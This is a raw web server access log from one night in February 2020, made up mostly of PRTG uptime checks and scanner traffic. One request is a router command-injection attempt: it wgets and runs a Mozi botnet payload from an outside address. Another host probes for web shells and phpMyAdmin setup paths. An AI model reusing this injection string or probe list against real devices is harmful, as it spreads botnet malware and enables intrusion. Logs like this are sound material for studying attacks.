212.91.246.72 - - [28/Feb/2020:22:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.216.229.81 - - [28/Feb/2020:22:17:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:22:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:19:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:20:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.249.61.18 - - [28/Feb/2020:22:21:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:22:21:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.218.54 - - [28/Feb/2020:22:23:07 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [28/Feb/2020:22:23:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.127.78.2 - - [28/Feb/2020:22:24:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:22:24:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:25:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:26:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:28:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:29:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.55.1.111 - - [28/Feb/2020:22:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:22:30:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:31:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:32:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:33:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.57.46.214 - - [28/Feb/2020:22:34:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:22:34:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:35:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:36:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:37:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
107.6.171.130 - - [28/Feb/2020:22:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:22:38:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
107.6.183.226 - - [28/Feb/2020:22:39:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:22:39:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:41:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:43:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:44:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:45:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:46:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.4.209.217 - - [28/Feb/2020:22:47:35 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
212.91.246.72 - - [28/Feb/2020:22:47:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:48:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:49:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:50:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:51:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:52:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:53:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:54:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:55:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:56:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:57:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.76.124.42 - - [28/Feb/2020:22:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:22:58:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:22:59:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:00:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:01:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:02:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.79.173.12 - - [28/Feb/2020:23:03:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
202.79.173.12 - - [28/Feb/2020:23:03:29 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
202.79.173.12 - - [28/Feb/2020:23:03:29 +0100] "POST /Admin50f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
212.91.246.72 - - [28/Feb/2020:23:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.79.173.12 - - [28/Feb/2020:23:03:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
202.79.173.12 - - [28/Feb/2020:23:03:51 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
202.79.173.12 - - [28/Feb/2020:23:03:51 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
202.79.173.12 - - [28/Feb/2020:23:03:52 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
202.79.173.12 - - [28/Feb/2020:23:03:52 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
202.79.173.12 - - [28/Feb/2020:23:04:14 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
202.79.173.12 - - [28/Feb/2020:23:04:35 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [28/Feb/2020:23:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.79.173.12 - - [28/Feb/2020:23:04:57 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
202.79.173.12 - - [28/Feb/2020:23:05:19 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [28/Feb/2020:23:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.79.173.12 - - [28/Feb/2020:23:05:41 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
202.79.173.12 - - [28/Feb/2020:23:06:02 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
202.79.173.12 - - [28/Feb/2020:23:06:24 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
202.79.173.12 - - [28/Feb/2020:23:06:25 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:25 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:25 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:25 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:25 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:26 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:26 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:26 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:26 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:26 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:27 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:27 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:27 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:27 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:28 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:28 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:28 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:28 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:28 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:29 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:29 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:29 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:29 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:29 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:30 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:30 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:30 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:30 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:30 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:31 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:31 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:31 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:31 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:31 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:32 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:32 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:32 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:32 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:33 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:33 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:33 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:33 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:33 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:34 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:34 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:34 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:34 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:34 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:35 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:35 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:35 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:35 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:35 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:36 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:36 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:36 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
